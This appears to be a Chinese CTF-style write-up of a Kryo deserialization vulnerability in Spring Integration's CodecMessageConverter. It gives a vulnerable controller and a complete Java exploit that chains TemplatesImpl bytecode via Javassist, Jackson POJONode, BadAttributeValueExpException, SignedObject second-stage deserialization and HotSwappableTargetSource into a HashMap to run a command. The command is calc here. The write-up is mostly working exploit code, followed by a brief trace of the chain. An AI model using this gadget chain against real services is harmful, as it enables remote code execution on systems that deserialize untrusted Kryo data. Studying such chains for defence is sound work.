Kryo反序列化链分析

前言

Kryo是一个快速序列化/反序列化工具,依赖于字节码生成机制(底层使用了ASM库),因此在序列化速度上有一定的优势,但正因如此,其使用也只能限制在基于JVM的语言上。

Kryo序列化出的结果,是其自定义的,独有的一种格式。由于其序列化出的结果是二进制的,也即byte[],因此像redis这样可以存储二进制数据的存储引擎是可以直接将Kryo序列化出来的数据存进去。当然你也可以选择转换成String的形式存储在其他存储引擎中(性能有损耗)

环境搭建

java 复制代码
<dependency>
    <groupId>com.esotericsoftware</groupId>
    <artifactId>kryo</artifactId>
    <version>5.2.0</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-messaging</artifactId>
    <version>5.3.18</version>
</dependency>
<dependency>
    <groupId>org.springframework.integration</groupId>
    <artifactId>spring-integration-core</artifactId>
    <version>5.3.1.RELEASE</version>
</dependency>
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.28.0-GA</version>
</dependency>

例题

java 复制代码
package com.sea;

import java.util.Base64;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class MessageController {
    public MessageController() {
    }

    @ResponseBody
    @RequestMapping({"/"})
    public Object message(String message) throws Exception {
        byte[] decodemsg;
        if (message == null) {
            decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAHLyYj656nh3Rj89bSK7ufJrcoDAXRpbWVzdGFt8AnMwumxjGIBAWNvbS5zZWEuVXNl8gEBMbABc2VhY2xvdWTz");
        } else {
            try {
                decodemsg = Base64.getDecoder().decode(message);
            } catch (Exception var5) {
                decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAGBw5uOyvHs1sGsg/nqhOyP9pIDAXRpbWVzdGFt8AnmifmxjGIBAWNvbS5zZWEuVXNl8gEBMbABZXJyb/I=");
            }
        }

        CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
        Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);
        return messagecode.getPayload();
    }
}

漏洞点在codecMessageConverter.toMessage里面,并且给了一个比较明显的base64字符串,看一下codecMessageConverter类,有一个toMessagefromMessage,对应的就是反序列化和序列化了

Kyro反序列化链

java 复制代码
package com.example.kryo;
import com.esotericsoftware.kryo.Kryo;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.objenesis.strategy.StdInstantiatorStrategy;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;


public class Exploit {
    public static void main(String[] args) throws Exception {
        Kryo kryo = new Kryo();
        kryo.setRegistrationRequired(false);
        kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
        // 二次反序列化
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"calc\");}", ctClass);
        ctClass.addConstructor(ctConstructor);
        byte[] byteCode = ctClass.toBytecode();

        Templates templates = new TemplatesImpl();
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates, "_name", "whatever");
        setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});

        POJONode pojoNode1 = new POJONode(templates);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");
        setFieldValue(badAttributeValueExpException, "val", pojoNode1);

        // 初始化 SignedObject
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        // 设置二次反序列化入口
        SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);

        // 一次反序列化
        POJONode pojoNode2 = new POJONode(signedObject);
        HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));

        // 手动构造 HashMap 以防触发正向利用链
        HashMap hashMap = new HashMap();
        setFieldValue(hashMap, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, h1, h1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, h2, h2, null));
        setFieldValue(hashMap, "table", tbl);
        //String serial = serial(hashMap);
        //System.out.println(serial);
        CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
        // 序列化
        GenericMessage genericMessage = new GenericMessage(hashMap);
        byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
        // 反序列化
        Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
        messagecode.getPayload();
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
//        Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//        writeReplaceMethod.setAccessible(true);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }
    public static void setFieldValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

分析一下链子的流程,在toMessage处打个断点,nmmd,断点停不住,艹了,手动分析一波

进入decode方法

这里触发kryo的readObject,手动进去

进入read方法,这里为MapSerializer的read方法

这个map是我们的恶意map,通过触发equals方法来触发我们之后一系列的链子,这个之后的链子就是我们的jackson链,就不多说了,到此为止....